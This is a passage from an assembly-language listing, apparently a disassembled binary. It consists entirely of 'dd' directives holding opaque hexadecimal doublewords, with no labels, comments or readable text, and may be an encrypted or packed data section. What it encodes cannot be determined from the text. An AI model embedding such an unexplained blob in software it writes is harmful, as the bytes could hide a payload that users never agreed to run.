		dd 0FE3BA57Fh, 5B4E4470h, 0F78A47FAh, 0EE6831F9h, 6EA97B54h
		dd 0A72C84h, 0FE91EB80h, 50F3EAC3h, 49A9E354h, 16791C7Eh
		dd 0B2EEE909h, 544D04D2h, 0E1400E76h, 3EBF7D91h, 59B09190h
		dd 30F6C5Ch, 5925A9C1h,	0B89EDF47h, 81A6F2B5h, 58B2C51h
		dd 1ACE6FA5h, 7CC10FFh,	13268B4Bh, 35E39F79h, 966B5096h
		dd 0E920E403h, 654CADB0h, 65782031h, 0D3323630h, 1706C11Ah
		dd 4DB3850Fh, 0C40D030Ch, 0E9280674h, 1C5C59AAh, 313C4FC2h
		dd 2ED32829h, 11E2955Bh, 8ADF0989h, 9D12DF99h, 0A0F9E6F1h
		dd 38DF45ACh, 707E7D80h, 0F5DD80BFh, 0EBDCF8A0h, 0CBEBE3D2h
		dd 0D3E9044Fh, 0CAA60110h, 180E683Eh, 9A9E5385h, 0C003B929h
		dd 96AF0A40h, 5FF10F1h,	8BFB4056h, 3D688280h, 98027248h
		dd 0D7BF7B7Eh, 0D237BE54h, 0A9ED37B5h, 0EF0B657Fh, 0A4D1BA20h
		dd 0E433507Bh, 0B6CA513Bh, 42920E04h, 0DB84146h, 9521C04Eh
		dd 5EEE9930h, 0ECE741E7h, 0DB648457h, 5B04A1D0h, 455F615Fh
		dd 7E0F8EC2h, 5AB3D54Ch, 0E9F06FE1h, 2AFDE9B3h,	304A27A6h
		dd 6DFAE920h, 0DF07A7B5h, 0F4F77682h, 0FF82E988h, 919A4A9Dh
		dd 0F55CBDC2h, 4257ED81h, 0BD7A3A7Ah, 0F353DE47h, 259221E9h
		dd 0F209BF98h, 35862055h, 28088D71h, 0BF062D58h, 68610651h
		dd 316A7AEBh, 81CA743Dh, 0B3536650h, 0D0402041h, 0E4C8305Bh
		dd 0F608C1C1h, 68D5E9D9h, 0DF204AC3h, 0B55DEA29h, 0A6308064h
		dd 64E7D581h, 72D81417h, 3E2EAD4Fh, 0A1DB3D0Eh,	49853E0Ch
		dd 8E18BBEh, 2548B9E9h,	7209FEFEh, 8B3B5533h, 7E3BF0D9h
		dd 257C218Ah, 76E66D54h, 98ADFC27h, 815F3ADFh, 0E4826E5Dh
		dd 267A7749h, 8C17DD0Eh, 0F843DE7Dh, 0DA06BB0Ch, 9D6485Bh
		dd 0E874BFFBh, 0D139756Dh, 0D36FBB02h, 3169297Eh, 8B0A542Ch
		dd 0F305763Bh, 1108401Ah, 0EB3845FFh, 96E4BC3Eh, 0FC3AF1B1h
		dd 47C3F712h, 0F2AF85F8h, 21B14AC3h, 96352660h,	158A6273h
		dd 4C42CE5Dh, 174E9C88h, 4C6DAA14h, 0BE21661h, 593005Dh
		dd 4ECE0BE8h, 0BD5AD402h, 879210B2h, 222D6602h,	16555D13h
		dd 3BE912A4h, 0D13A90FBh, 153BA272h, 15EA70Fh, 5312E9BBh
		dd 0AFD2A27Dh, 0EA1F8D04h, 581EEF16h, 0A2D98509h, 0F74A3914h
		dd 59582A14h, 3BE9496Dh, 0C2F72D5Bh, 0DFC55F7Ah, 53685902h
		dd 0E922A111h, 0D92AD23Ch, 0B4198CCBh, 0EAC327h, 21EF1FE7h
		dd 0AF06BD55h, 8BE88424h, 9B0157A7h, 0E8A8D1F5h, 9171E9E2h
		dd 0ED2B9B97h, 0FEFC2FD4h, 0DFFA29C7h, 0BE014F28h, 47B469ADh
		dd 0B65A96E8h, 0EBD5530Ah, 30E92128h, 0EB2D2C42h, 6B2C7C5Ah
		dd 10DCE09h, 4B2F72EEh,	0FC20ADFFh, 3D34F28Bh, 0F6820427h
		dd 2BDC2575h, 0F2F028C3h, 1E6561BAh, 0FEBC166Ah, 75E9C77Ch
		dd 0BE5A445h, 0AEA18C3h, 80FD89F5h, 0D3EC97BBh,	10C897BAh
		dd 810B59CAh, 0A2616C2h, 0E0297E7Dh, 5F274625h,	524F1D1Dh
		dd 0DDCFA4F5h, 8CF9BB0h, 4E12E781h, 4EF7D85h, 91FF5599h
		dd 36039666h, 0DC062D10h, 749F8C3Ah, 81ED4E55h,	62D4C3D3h
		dd 0A560AD28h, 0FE1907DBh, 0E5DE2956h, 0E90803EEh, 464AAE2Bh
		dd 92B05EAAh, 0F948024h, 0F440DB8Bh, 0C2E24BC0h, 0E8589D7Dh
		dd 0F275E91Ah, 2363790Ah, 157C2DE7h, 9D65B024h,	52A581D7h
		dd 0FE96F8B7h, 4F09A115h, 2378BA0h, 6829B838h, 0C27158D4h
		dd 0B4730383h, 0EBC2F36Bh, 8608605Dh, 61F571D9h, 2D81697h
		dd 669D1807h, 2C5E3EE9h, 501F172Bh, 0C185EC12h,	0BB07D5BAh
		dd 0EF97DDA2h, 41185788h, 93F66CC3h, 0FE408616h, 2C08E0C0h
		dd 0C6801C57h, 75F53961h, 5AB99CEEh, 0B215688h,	6F22A4EEh
		dd 71FF14F7h, 0B2F26E9h, 3A5DFC97h, 0F29E04ABh,	8D5B8EE8h
		dd 5BFC0278h, 6E6ECF7h,	0EA303CB5h, 5720F259h, 0FD544B31h
		dd 71529FF2h, 9F5B54A0h, 1B9E213Eh, 945D6909h, 929FDFD9h
		dd 0FD41BF28h, 8E4692F6h, 0F72F09CDh, 0D7E909AFh, 8A641095h
		dd 19222650h, 6D2B0207h, 6A7D1D64h, 7D0809A7h, 2361364Ah
		dd 0E743E057h, 7B024F99h, 55E6A0EFh, 0EB4AF9F0h, 0A04EA8EDh
		dd 0BD4A4B86h, 60A02DFBh, 73955D91h, 0E9DA4049h, 0E09E839Eh
		dd 0B860246Ah, 25161B37h, 0BB74290Dh, 7922A980h, 0B8F50118h
		dd 0E908809Fh, 6BCF6058h, 0B52CA2F1h, 18C17148h, 0C9196675h
		dd 520B6914h, 5B73AE80h, 50953FDBh, 68560286h, 6CD41EC3h
		dd 4FFA789h, 3BBCC16Ah,	844EB78h, 533F18EAh, 5120FF5h
		dd 280B1FE6h, 64D454AEh, 0F2B825C4h, 0F00BE181h, 39CFFC0Eh
		dd 0E9EC93F2h, 5EAF6025h, 0BF5FD1E5h, 40532FA3h, 1F2EBBEDh
		dd 520DF427h, 0BC7721DEh, 0B96F80FEh, 198F4003h, 0A2E15ED1h
		dd 8BEF963Bh, 5251135Dh, 0FD2CEEE6h, 0A8641307h, 42B574EEh
		dd 626AD982h, 4EF5FE54h, 4A53B076h, 1C3C4BD5h, 4D591F46h
		dd 0EF3101DEh, 5F58575Dh, 946FE67Eh, 68570517h,	0C80103F9h
		dd 9EE3E95Fh, 0F47AB24h, 556E781h, 0DFF722C3h, 74CDC2CCh
		dd 0D95577CAh, 0A909C9C9h, 0DFF6BA40h, 7E7C002h, 0DC80C7FEh
		dd 0C7513B3Fh, 96EB106Fh, 2128FFA4h, 6FD99D89h,	66B7D6A0h
		dd 0CAE720C7h, 9651553Fh, 45614F26h, 0BD009F84h, 0FC3D0AB3h
		dd 0A0B2106Eh, 880F4804h, 0F08EF1FAh, 23BF92BAh, 138A5CD1h
		dd 0FA5FFA95h, 5A43012Ch, 2F44E7B9h, 40C7159h, 0BF67A9E9h
		dd 0D33B8628h, 78CEC93h
		dd 69D15001h, 13D02CC4h, 2F7E3005h, 0D608476Eh,	83142E07h
		dd 21BD2896h, 6D99CAEBh, 518A4231h, 615A5F02h, 5A573h
		dd 260DD8F3h, 0AE09056Ah, 41AE423h, 42000AB2h, 6884E281h
		dd 661FCA2Ch, 82895C1Dh, 94257506h, 3771ABEBh, 0BD00D28Eh
		dd 0F63239AEh, 605D8003h, 13740DCCh, 14D5C80h, 0BF64ED27h
		dd 92A5FFD8h, 0F87D5B99h, 0EA7AC004h, 0B8863A73h, 41099798h
		dd 72292356h, 5A08812Ah, 45EBFFE7h, 29F20DAh, 3DDC425Bh
		dd 0E574D387h, 25A2C008h, 1AF51500h, 8B8510F6h,	9961ABE9h
		dd 8C9A4254h, 8853CA68h, 3129CB7Fh, 5D92EF9Bh, 0E20FC791h
		dd 7B5B289Ch, 0ABF71192h, 69911B88h, 0A9DF11C8h, 0B71901D7h
		dd 0B1407067h, 306206E1h, 56BE10BEh, 24BC15Ch, 0AFE94A02h
		dd 1E927748h, 0F8952393h, 37AA4A08h, 8C22C224h,	9B831EDCh
		dd 766392Ch, 210CB00Ch,	6C89110Fh, 0EE2581F1h, 2E987D68h
		dd 124ACED8h, 182C6F19h, 0E7B823C3h, 3086101Eh,	0DA421D97h
		dd 0FF59585Dh, 5155A362h, 8E90B98h, 0A5BA55E0h,	74054201h
		dd 0F21123BDh, 61D50820h, 5694E05Ah, 0EB7E8150h, 35431086h
		dd 65F0F3D9h, 29AE12EDh, 3CF3AADDh, 22017F2Fh, 2F5C8F68h
		dd 5FFD0030h, 0A56B5E66h, 0AA9104D2h, 92F8A3h, 97823C0h
		dd 6A4EE927h, 0D1599E09h, 175A4B37h, 66348027h,	476F2786h
		dd 0C10F5DC4h, 53BF741Ch, 5F27ADB0h, 71913967h,	2D9E103Ch
		dd 0BD2444F0h, 9B24E42Fh, 0BB2FF08h, 44D8215Ch,	0D4FAFB9Ch
		dd 0FCFC7AC0h, 0CCD46E32h, 50661EFBh, 0CA3AB988h, 4B8DA950h
		dd 0CF19A4EFh, 727D5E04h, 0ECC74F0Eh, 45803790h, 12EF60D1h
		dd 90E0C3C7h, 59B5C24Bh, 50ED277Fh, 0BA5205E9h,	0A3385509h
		dd 9CE10040h, 0B8653169h, 52D35EEDh, 0FC84C42Bh, 4A9EB699h
		dd 2DE644CCh, 1632FFE6h, 0BEE4E1DAh, 0F12A4E21h, 3848B032h
		dd 5E03830Fh, 0F07C4F1Fh, 1B57321h, 2D4B22D7h, 0F2F4DC52h
		dd 1D33DB57h, 26FE2414h, 0F700E9D7h, 5BEF6853h,	8B009DBBh
		dd 4E2F6B78h, 0C68D180Fh, 8EF68D83h, 13441BD4h,	0C6FD54D7h
		dd 19AFEA0Eh, 9A0C2EACh, 7DC7791Bh, 8C24162h, 0BC14B820h
		dd 0AE2064DCh, 0DAFA4216h, 7EE90B3Eh, 7B3AF59Eh, 0C64B8FC4h
		dd 20313DFFh, 0BDC1BF6Dh, 0DB6FADCDh, 4B16B541h, 1E69E007h
		dd 8107679Dh, 7C353DF7h, 708C5539h, 0AAA80506h,	1E5FD4ACh
		dd 411247B4h, 0E7D13B15h, 0EF2AB553h, 0F6E90760h, 0A189F9Dh
		dd 0BB806698h, 26621345h, 0D4E43778h, 5B02B928h, 0E6931B04h
		dd 0A4E4C9D9h, 8819BC32h, 983D3A90h, 400B6E68h,	0A5DCBDC0h
		dd 829B76D0h, 69FB0180h, 0F6C1316Ah, 0B7B86101h, 0BA17C42Ah
		dd 0D7E3730Eh, 6119D1AFh, 0EBD2AF6h, 50C9F04Eh,	0D7C38A16h
		dd 167A7E00h, 78296AF7h, 8ED50D5h, 0E7D29F5Ah, 0C4BC9A5Eh
		dd 0E573E84Bh, 80CC00BAh, 0CCE9F4C5h, 800D9D4Ch, 5B6F6BD7h
		dd 7EB2FC1h, 57165174h,	39FAF500h, 508977D2h, 82A2A0C7h
		dd 57BD035Fh, 0AAA40253h, 0E921957Ch, 0D8A215E2h, 0E07DC142h
		dd 88D27A4Eh, 32247CC3h, 3A09ED0Eh, 3F44F5D8h, 66B569EEh
		dd 96E30ACh, 3645EB37h,	5A14931Dh, 0DDAEC3D6h, 4CFD3B67h
		dd 5A73F8Ch, 0BD376A3Fh, 20EC1633h, 0ABE4C1F8h,	4158F02Ch
		dd 62B07E1Bh, 4F6D10BDh, 378E053Bh, 0F2C330F9h,	0E9A51742h
		dd 81D5C573h, 0E553582Bh, 3E132E49h, 219617A9h,	29A85078h
		dd 0EA0C140Ah, 72B7B04Dh, 0EEF7D80h, 0DFF6CFFEh, 6BDC7E6h
		dd 0C11AFF60h, 9455B753h, 6A383C83h, 65BFA1Bh, 72ECEAC1h
		dd 0D328C752h, 4A0CE9BCh, 256C3147h, 0BF1A05DCh, 53A6866h
		dd 756DF286h, 0D73E1E09h, 0EA315A43h, 0E97260D5h, 0FCE3559Bh
		dd 45AAC1F2h, 2330C20h,	0E92EC174h, 6B532CDEh, 206C78A5h
		dd 5448330Eh, 52B42D5Fh, 0A9FF5F00h, 3885904Bh,	0FB310165h
		dd 10721E9h, 0F150AC3Bh, 906BB4E9h, 863D6C90h, 0B39920E5h
		dd 469F7017h, 8402BBDh,	85E91659h, 0F0CF53CCh, 1C167E6Ah
		dd 6A0257D4h, 424B0C62h, 2EED0A24h, 20274283h, 31D9A873h
		dd 0E86B5E5Bh, 38BFB0BDh, 2C63072h, 5F33B148h, 55470900h
		dd 170C86BDh, 9C456357h, 12E8A7D3h, 5B95EF01h, 72F70F3Eh
		dd 0C16D866h, 0DEC66C0Bh, 18A72C35h, 51FB022Dh,	6DE96655h
		dd 310EF554h, 8C64DF0h,	93FDA97Eh, 0B41964BFh, 1E9A9647h
		dd 8F86682Fh, 0EBC3453Ah, 0E14BE8E2h, 59C23A24h, 31A15F2Dh
		dd 97FB0DE9h, 0F408E65Fh, 0D604002Bh, 4B2C685Bh, 0EF62D4B6h
		dd 0BFA60F02h, 82276975h, 0F54892C5h, 6807ABCFh, 0D70963C9h
		dd 0BB0B3445h, 293F7D1h, 2EAB38C1h, 0F35C3388h,	682A443Bh
		dd 260FFECh, 0E24803FCh, 8BCA3D29h, 2B6D394Eh, 0F0F974C5h
		dd 23A49E98h, 0C5C6830h, 40270EBBh, 45129C47h, 9AA5E75h
		dd 1BF58B54h, 0BAEE5EFAh, 0EA24DF3Dh, 4DE91BC3h, 0ADA9D698h
		dd 62E2654h, 464C49E1h,	0C3E096Ah, 34003479h, 57FD12A5h
		dd 0D74A682Dh, 985FD9Bh, 107FFB2Fh, 0AAB5E98Ah,	16DB7CCBh
		dd 83681030h, 94E984DFh, 6AB80178h, 0D1CF573Bh,	9B385C0Bh
		dd 29252C4h, 0AA481B68h, 6C0AEF3Ch, 58827EB8h, 0AF51E268h
		dd 6A190467h, 2FAB29BBh, 9255CDE0h, 50B900F9h, 412DB174h
		dd 6309F181h, 7462F961h, 18E9056Ch, 2DDAE319h, 0BC967878h
		dd 436B6F6Fh, 45B43470h, 62F335C0h, 30234B1Ch, 0B357E902h
		dd 6F4F869Eh, 40904B55h, 0CC1FE93h, 438D810Fh, 0A840B05Dh
		dd 0E4B8B052h, 68B63EF3h, 23B5C718h, 7682A946h,	33656FCBh
		dd 418F241h, 6CC3363Bh,	74097B8h, 1FF39589h, 6CB5927h
		dd 41DF08E9h, 52D2CA05h, 9BC24E56h, 775E78A0h, 6F8E2542h
		dd 0EA81455Eh, 26ED2458h, 5B2A02Eh, 0A31BB500h,	4AD4254Dh
		dd 22D5A97h, 6875376Dh,	125F3240h, 1073205Ch, 2251B1DCh
		dd 0A8C0D0DCh, 8C0345FCh, 0D457AFCBh, 0BFD3D285h, 0E9057F24h
		dd 0C8AADBCAh, 892D0F68h, 790E09D5h, 0C234992Bh, 13F66AC7h
		dd 0D2D0A94Ah, 174D5E01h, 8E4319E4h, 3E98B13Ch,	4428E160h
		dd 0D1703476h, 7A9F749Dh, 4E914CF5h, 4877834Ah,	2AB4D6B1h
		dd 91976DE8h, 4531E7Ch,	21E09C00h, 0BF5E08C0h, 42ABD34Bh
		dd 6F510B87h, 95491069h, 43730528h, 0ADCD27E9h,	0E858135Ch
		dd 533FD8AFh, 0D2D38825h, 0E9E82577h, 0BF1C0772h, 4DC947DBh
		dd 42EE5C29h, 735FE2B4h, 0CBD28B17h, 18B008E8h,	0A9585D82h
		dd 5EA76812h, 691054B3h, 0C3800925h, 0FB60D774h, 1E1D293h
		dd 0B0963EB3h, 30FE84Fh, 0A12CC82Dh, 3FFAB30h, 57EC0503h
		dd 44F85B1Dh, 234BD6C8h, 973CFADh, 379C3DA7h, 0E1915C02h
		dd 69CC656h, 0E97E6302h, 1D65FC14h, 0B5C8895Ah,	8C3193D9h
		dd 0C1002806h, 239003E3h, 13CBE75Dh, 6DF66968h,	4B615404h
		dd 5B0B8140h, 0DBD21144h, 0AF07E629h, 0B44B7610h, 2D5CD0FDh
		dd 713131DCh, 30E63672h, 53D8DA12h, 5851C396h, 0A5F2A7FCh
		dd 0E1782FBEh, 0C1CC092Ch, 9B441D9Eh, 0E7C35F26h, 71A4808Eh
		dd 0C6DF62F7h, 5600240Eh, 2EE810BEh, 134CB253h,	96A8E44Ah
		dd 58314445h, 0CABA2C3Eh, 6F4D5705h, 8E02E6C1h,	7238A385h
		dd 0C7F013Fh, 5DE93436h, 52236E5Ch, 7C37DA68h, 0E952C071h
		dd 59BDF6D9h, 0AC688468h, 0B5B7EC50h, 0E90CA7E6h, 5B3AFBC5h
		dd 0ADBFF19Ch, 87A5C58h, 0B901B11Ah, 4ADF1DBCh,	2DCC1531h
		dd 0FC014AC5h, 0A40B4AE3h, 6854A156h, 377622EDh, 609CE318h
		dd 8F9E295Fh, 54F698BDh
		dd 80949F81h, 0B75C74B2h, 874F2DA1h, 0A6F3AD2Ch, 0D01E0EC1h
		dd 54EC0E7h, 8898EF6Ah,	500418D1h, 46826FB4h, 9567CC02h
		dd 7F5FC249h, 2C86A7B8h, 0BF0452E1h, 73D0395Bh,	49D21FABh
		dd 0C644D9DDh, 698BFD9Ch, 18C7EE91h, 0C12F8268h, 0DF82B384h
		dd 0C8EFBC49h, 0F5CBF53h, 0BB507520h, 0DF130108h, 62CA5D5Bh
		dd 33F4192h, 307E511Ch,	721768A0h, 0C2AE61D7h, 0F975CB41h
		dd 54C45A57h, 3BC02082h, 6C4B07E9h, 0E98BD58Ch,	4BD401h
		dd 0F07DCA80h, 0B8F14A35h, 6BC88419h, 40B91182h, 1C7AFD8Fh
		dd 16E9F931h, 9E652A1h,	0BA58A403h, 0C4994551h,	6D60C313h
		dd 0FA8FEC0Fh, 55E8FBBEh, 20252778h, 8A0AE7Eh, 0E96310B7h
		dd 908FFB7Dh, 1221D905h, 2AC60141h, 0EBC402A2h,	9EA8AB7h
		dd 0F927C268h, 67218941h, 0E953C218h, 9E40CB29h, 4689201Eh
		dd 8C55E033h, 883B83A1h, 0B202482Fh, 0D6616AD0h, 3DFCDAE8h
		dd 0CD66F769h, 903D4717h, 576C61BEh, 5FFE3053h,	71F26AEFh
		dd 0E49A3186h, 0D0915D4Eh, 8D7BB210h, 0FAA1E463h, 0CD514EBEh
		dd 0FBF5126Ah, 0F3213904h, 28F1D985h, 8BBC5EEAh, 820FB570h
		dd 0B8F5EB2Bh, 306FDD86h, 940C02BFh, 21487D4Ch,	6384040Ah
		dd 0DAB45ED8h, 519B16C5h, 0EBACF4C2h, 0EE7F210Fh, 3EC32D10h
		dd 0D1C0806h, 63793840h, 0E92B000Ch, 0C5C0C00Fh, 612308F5h
		dd 750CC056h, 89DFA9A6h, 5DEE2Dh, 0BCB850C8h, 0C47D25DDh
		dd 89279174h, 75A0E2F6h, 0E09DC54Eh, 802F9B48h,	6EBAECC0h
		dd 9FD48A20h, 0B93D7668h, 76EC10D3h, 5098BF05h,	1EA68283h
		dd 0C8573DCAh, 80F3066Ch, 2E2D8C0Fh, 58FE7C88h,	19DD4CEFh
		dd 0DCC8D140h, 90F7573Eh, 115F4C0Ah, 92327C09h,	0C50F8ADEh
		dd 0DA3E4C76h, 0D1C41345h, 216BC27Fh, 0A7A14577h, 529D9DF8h
		dd 0FA65EC99h, 0D53E4C9Eh, 9526BA02h, 4FD0019Ah, 401D314Bh
		dd 0F6EDD549h, 81BDE5EDh, 2A67AFDDh, 256100F0h,	0BD40AF6h
		dd 82F65C25h, 7038CDBAh, 5A1185DFh, 0B577A8E8h,	6804DD51h
		dd 66FA30FCh, 6C4E14A0h, 1B26BF8h, 12E66CDDh, 0AF3C3568h
		dd 24E9EA2Ch, 81F2E5A9h, 0A61CC6CFh, 1DC36A77h,	0AF140106h
		dd 0E92D590Ah, 0F6E0500Bh, 0B52551D6h, 19217D6Bh, 0DEB7E98Bh
		dd 90A7E8F9h, 808FCD5Dh, 0C654468h, 5BA80879h, 8639E84Fh
		dd 7F409145h, 0A0AF5997h, 659E257Bh, 75667820h,	81000182h
		dd 317DBEE2h, 97CA8733h, 52BCB58h, 0DF028719h, 7466D046h
		dd 0F9E904EDh, 7A13ED33h, 793A1212h, 4387B703h,	72B8B442h
		dd 0FACF0116h, 3168DF9Ch, 60BB2381h, 6DF27EDEh,	0E677CC92h
		dd 0DF6C4405h, 3CC04E18h, 0A698691h, 7A1668C7h,	9BBD60E3h
		dd 31125833h, 0BF05E829h, 0A0205F0h, 6CDB59E9h,	5D0C0DB5h
		dd 6F7A0550h, 0AAB4B2F3h, 0DBF1746h, 0EFE91C43h, 5DF42D2Ah
		dd 173A2251h, 0E5DEF881h, 0EC6656A0h, 0E8855F36h, 8B2D0089h
		dd 0E93F8857h, 8A944DCFh, 80DF2C6Bh, 78395EB8h,	46680001h
		dd 0E92FEB60h, 689C69FDh, 0E91ED64Bh, 0B468D800h, 654A9236h
		dd 492AEE92h, 297F5B62h, 0CD623EB2h, 255756E3h,	5CA5C3FCh
		dd 522EE2A4h, 0C120B202h, 0E8256C8h, 66ABCEBFh,	6456E042h
		dd 682CEE01h, 0AC6B7A84h, 3E08412Eh, 2848EFB8h,	0FD528F05h
		dd 67C0FF6Ah, 58554B93h, 0D3057E64h, 0FE13B769h, 30086850h
		dd 7B160E58h, 0CA33B0EDh, 2408EA1Eh, 61DE025Eh,	22D530ADh
		dd 57A459Bh, 0BB539466h, 31EB8785h, 0F50FE7A9h,	0E2C770E3h
		dd 6CD4C141h, 78989773h, 5F82F520h, 6817357Ah, 0F1357710h
		dd 33B2EFC7h, 2BE75D23h, 0DC12E91Eh, 5D01E40h, 7CB8CF61h
		dd 477025A0h, 0DF4BE8A2h, 4F8B6009h, 44FC2823h,	0F0AF77D4h
		dd 0E2295A45h, 792F98BDh, 0AA23FC61h, 7A2280F4h, 90CC211h
		dd 92E9E6D1h, 0F7802960h, 0DB7BBBB0h, 0C2608282h, 41F3D2C6h
		dd 9DFD2A72h, 25CA0092h, 0F74D324Bh, 4645D52Eh,	1DE9A913h
		dd 9C966C30h, 6DF9056Ah, 9DA41024h, 69C45730h, 7CB08A31h
		dd 4A364649h, 0B31A34BBh, 7250309Ah, 4A6419EEh,	1057A35Bh
		dd 0BB00E725h, 2E330A44h, 0D312CB81h, 2100A25Fh, 0B416E8F3h
		dd 9E3F851h, 0E014E65h,	18C43CFFh, 0A6F1DE9h, 8702C3BAh
		dd 0AA683BAFh, 88205959h, 0FE0DD029h, 523004C0h, 4B0D7DB6h
		dd 5CCE0DDh, 9B6FC40Fh,	0DD80953h, 710563EDh, 78963F1Ch
		dd 94C55EECh, 5630AA65h, 0E15E5868h, 0F215B86Bh, 3CD2DF52h
		dd 88D7F60Bh, 6C716F8h,	0E8C0440Ch, 0B213A807h,	0ED0330D5h
		dd 0DFC1805Ah, 0B450670Eh, 5BE4045Fh, 460493EAh, 28AF0603h
		dd 1D7AE9E1h, 0CBDF294Fh, 7D72D43Dh, 0D0177B13h, 60EF00EEh
		dd 0E96FC008h, 1D786859h, 0F2CBFE89h, 26415AD1h, 15151FAh
		dd 630A3C02h, 0F6C56E58h, 1290401Dh, 7B8E2502h,	57E12D4Fh
		dd 2902CE7h, 9638ED05h,	3478F75Dh, 0A5F657E6h, 830F2405h
		dd 9CEE8EF1h, 0F017800Fh, 8CFB5451h, 872F5A99h,	1894F734h
		dd 6044B398h, 0EDC9F0Ch, 602064Fh, 0DDEF05F7h, 0AA74CC8Dh
		dd 0A8AA9184h, 0F712D894h, 4104D2DBh, 0B4E1FE3h, 27C07B40h
		dd 9A9BE28Dh, 440E2732h, 66EF3276h, 94F66C6h, 0BAC380E3h
		dd 9E61A510h, 0F2181399h, 9F315C75h, 0DCF2F3E3h, 86A7609h
		dd 482C2D4Ah, 8307021Ah, 0C09412C0h, 16D701FCh,	0C9D483E9h
		dd 510DC032h, 0B8595634h, 1CE90702h, 4947F191h,	1EEEEC00h
		dd 1C403727h, 0BAE90CEh, 452349F5h, 90F89ACCh, 55AE2E12h
		dd 2964EA01h, 0FD2A58BBh, 4E400792h, 0D79E1D12h, 620012A6h
		dd 0C15B8B20h, 3BD07E1h, 16821D6Fh, 0E8A2A1F4h,	0B7B9C047h
		dd 903D1C2Ah, 40952E04h, 0CA010752h, 0ACD355E9h, 7C5DA2C0h
		dd 59555255h, 0BFE96106h, 73402F4Fh, 0B601AAE3h, 40F5A25Ch
		dd 2DE53C39h, 8375D333h, 12AAAECBh, 0BB02EC3Fh,	9DB1E7D0h
		dd 90E17AC0h, 16C24B70h, 6D2E086h, 83CC9E4Ah, 4310595Bh
		dd 6A15384h, 4A4A665Ah,	59D9F0C5h, 414B7E97h, 2A123FE9h
		dd 194881E7h, 5A884C10h, 4EA6A986h, 5FAA0B05h, 0E1889D76h
		dd 0B275254Bh, 0C00C6154h, 80B68004h, 6105DD68h, 9E9A870Fh
		dd 63440C1Dh, 20FF7AC8h, 2AE5BE41h, 31168409h, 0E7EFEF1h
		dd 75CB1743h, 0CF6B487Fh, 0BE6F1D14h, 0F40FBD2Dh, 95723F77h
		dd 4C1E62Dh, 8EC8E953h,	0F38F62BEh, 16447977h, 0AE548569h
		dd 6882108Bh, 95962EAh,	0B8529CBh, 0B06D9C8h, 0F9638AE9h
		dd 187C4DD2h, 80467169h, 0D8F64CB0h, 0BBE6820Fh, 44BEA0D2h
		dd 27E23528h, 0E98AF170h, 3D4D0BBBh, 0A3C12DA9h, 2C727855h
		dd 4F963EFEh, 0DAF76FC1h, 62D21E20h, 91EB8F3Dh,	19398F6h
		dd 7C0CBF86h, 5B57258Fh, 18932E1h, 0CD3A9E77h, 0FEC630A1h
		dd 0F02F1E9Eh, 61DCB761h, 17EC64Fh, 3F4722EBh, 40B34FA0h
		dd 5E3C013h, 601530Ch, 7C33B0FFh, 3FCBA39Ah, 0C2870606h
		dd 50DAF649h, 0D3207CEAh, 0D2CE913h, 969E6621h,	0FF25D83Bh
		dd 0B3DB9062h, 0E2D60997h, 995166B3h, 2D6E0BEBh, 0FC1A991Fh
		dd 1847E806h, 0EE065Dh,	163CE96Eh, 4532CC9h, 9980A9A2h
		dd 498A0F04h, 445E231Dh, 5149CE3h, 71C0C88Bh, 2D020CF2h
		dd 53FC039Ah, 40B80805h, 6355C7BEh, 0C0E157Ah, 330E1DADh
		dd 80033F5h, 95212EE9h,	49445Bh, 3D22F08Dh, 923AED0Bh
		dd 367EF122h, 0C28B920h, 6A7CB1E6h, 59DB460h, 4FF87686h
		dd 17E5C446h, 0EC64FA07h, 0F5342091h, 0D2DF5B02h, 68F24125h
		dd 19FD4FFCh, 0FB830600h
		dd 42702D1Bh, 1453A05h,	70705F0h, 940980E9h, 0E156B731h
		dd 0FD9D2709h, 0AD9100EEh, 0F7060BC9h, 0E9055AE5h, 91E482F7h
		dd 0CEE657Ch, 4FAF0043h, 0F6E7E0Eh, 939892Dh, 8C7D41Bh
		dd 0A3882069h, 0E5810308h, 25C216D3h, 0F48ACC60h, 8DC246B4h
		dd 0C92D05DEh, 586CD4DBh, 0B04A163Fh, 0B85061F8h, 9A650778h
		dd 0D3C5296Dh, 0AA84B318h, 0B34C998Bh, 0ED800B38h, 23872D69h
		dd 1144209h, 4B0705D0h,	1FB1FFACh, 73D7C274h, 6B759AB1h
		dd 3F28E55Dh, 2062712Dh, 0C1A8D155h, 0A6E4CCE9h, 0B30BE4C2h
		dd 0A4E07B80h, 6EE95890h, 9AD9085Ah, 122AB9E9h,	0B0CEEFE4h
		dd 0B056E912h, 0D3EC5ED7h, 1328A74Dh, 0CF0A59C8h, 8D41F869h
		dd 0BC618B44h, 4766DDD2h, 99A8E913h, 0CFED6340h, 0F6658911h
		dd 0B70A5F72h, 913502EBh, 0C169F175h, 0CA281640h, 8BEAB35Ah
		dd 43180256h, 0AEBBE8E8h, 0BE89A888h, 90600250h, 5EF02995h
		dd 0ECE93EE0h, 0EBFF7060h, 7A782Eh, 5B51C781h, 0FE291FF0h
		dd 4228E925h, 7D95D98h,	0C4FE4F97h, 3368BA3Dh, 97EA704Bh
		dd 0B67EE5DCh, 382C4E43h, 191AFCA1h, 0D5B448E4h, 90D2DE58h
		dd 9442CAABh, 8ED91308h, 0F9293CCh, 5D07DF48h, 0D1C984C4h
		dd 0C6C5BFBh, 2F59EEBBh, 795617C2h, 1CAC1D15h, 822D40B1h
		dd 7ED4C4FBh, 0BC18E225h, 0A2720009h, 0BD3CCA3Fh, 40B013E8h
		dd 0C471230h, 40581961h, 7010C07Fh, 0E63F5BF5h,	0E9952183h
		dd 4A2DB59Ch, 74138929h, 20EAD98h, 0FEDE86A4h, 437444F6h
		dd 87AD1043h, 0B631BA5Fh, 1A32520Ah, 8C576107h,	62F56332h
		dd 0DE20C628h, 422AFFBEh, 30C23F99h, 0F3515DC8h, 8C9856A7h
		dd 29226BC1h, 0CB6EF345h, 13C25A25h, 183492D0h,	256851A3h
		dd 0BB667967h, 9F82C220h, 0ED01E946h, 3C7C7F03h, 9F44F529h
		dd 0FD5E0809h, 1C32C7B4h, 0F5C541A2h, 0BEC2366Ah, 4D36D22Ah
		dd 0CCB43B5Eh, 56A4975Bh, 0EAF9D573h, 990CA2DCh, 0DAE6E231h
		dd 0C2C10102h, 0FEE45F81h, 91027AFBh, 74FD895Ah, 0E6825289h
		dd 50048D55h, 5D95BDABh, 0A8131252h, 0EE4D1B4h,	4F41D078h
		dd 0F4D7F725h, 8716220Bh, 2CA1BE2Fh, 0CA5B072Ch, 0EDF85FFAh
		dd 0C51074D0h, 3CB45BD2h, 482F0BEAh, 0B95241D4h, 7DE90880h
		dd 0B9428095h, 95D58BDh, 59CA0933h, 5C273865h, 0DFBD5859h
